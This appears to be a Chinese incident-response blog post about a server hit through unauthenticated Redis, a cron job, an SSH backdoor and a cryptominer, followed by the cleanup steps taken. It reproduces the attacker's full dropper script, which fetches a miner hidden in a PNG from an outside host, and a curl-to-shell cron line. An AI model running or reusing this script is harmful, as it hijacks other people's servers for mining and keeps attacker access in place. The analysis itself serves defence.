标签归档:挖矿

【应急响应】帮哥们应急记录20170414

简介


攻击者通过Redis未授权访问,写入定时任务,执行挖矿程序。

排查过程


检查进程发现SSH后门

[root@testserver tmp]# ps aux | grep 2345 | grep -v grep
root 13587 0.0 0.0 66624 1144 ? Ss Mar22 0:00 /tmp/su -oPort=2345
[root@testserver tmp]# lsof -p 13587
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
su 13587 root cwd DIR 202,2 4096 2 /
su 13587 root rtd DIR 202,2 4096 2 /
su 13587 root txt REG 202,2 546680 1718717 /usr/sbin/sshd

发现异常进程

root 1800 57064 0 00:46 ? 00:00:00 CROND
root 1801 1800 0 00:46 ? 00:00:00 /bin/sh -c curl -fsSL http://104.156.239.160:8080/conn.sh | sh 
root 1803 1801 0 00:46 ? 00:00:03 sh

PS中看到很多定时任务进程CROND,crontab -l发现又是redis写进来的,那么再看下/root/.ssh/authorized_keys,果然也写了免登陆。


发现攻击者使用的脚本http://104.156.239.160:8080/conn.sh
脚本内容如下:

#!/bin/sh
ps -fe|grep conns |grep -v grep
if [ $? -ne 0 ]
then
echo "start process....."
wget https://ooo.0o0.ooo/2017/01/15/587b626883fdc.png -O /tmp/conn
dd if=/tmp/conn skip=7664 bs=1 of=/tmp/conns
chmod +x /tmp/conns
nohup /tmp/conns -B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:3333 -u 44xdB6UmabC8R69V6jDj7q1zGyDzJ7ks5GJpLs3b2HpqWwWq2xbvLKiRjmX8e9oy7426goZG9kXRTgHj9SZPGzfiQYtbTw1 -p x >/dev/null 2>&1 &
else
echo "runing....."
fi

sleepTime=20

while [ 0 -lt 1 ]
do
ps -fe| grep conns | grep -v grep 
if [ $? -ne 0 ]
then
echo "process not exists ,restart process now... "
wget https://ooo.0o0.ooo/2017/01/15/587b626883fdc.png -O /tmp/conn
dd if=/tmp/conn skip=7664 bs=1 of=/tmp/conns
chmod +x /tmp/conns
nohup /tmp/conns -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:3333 -u 44xdB6UmabC8R69V6jDj7q1zGyDzJ7ks5GJpLs3b2HpqWwWq2xbvLKiRjmX8e9oy7426goZG9kXRTgHj9SZPGzfiQYtbTw1 -p x >/dev/null 2>&1 & 
echo "restart done ..... "
else
echo "process exists , sleep $sleepTime seconds "
fi
sleep $sleepTime
done
[root@server120 tmp]# file /tmp/conn
/tmp/conn: PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced

首先下载了一个图片,然后通过dd提取出来挖矿程序。

[root@server120 tmp]# file /tmp/conns
/tmp/conns: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, stripped

然后每20S检查一下进程是否存活。
这种通过Redis未授权拿服务器挖矿的情况很常见。

处理过程


1)redis增加认证,清空/var/spool/cron/root和authorized_keys。
2)删除后门
3)Kill异常进程
4)重启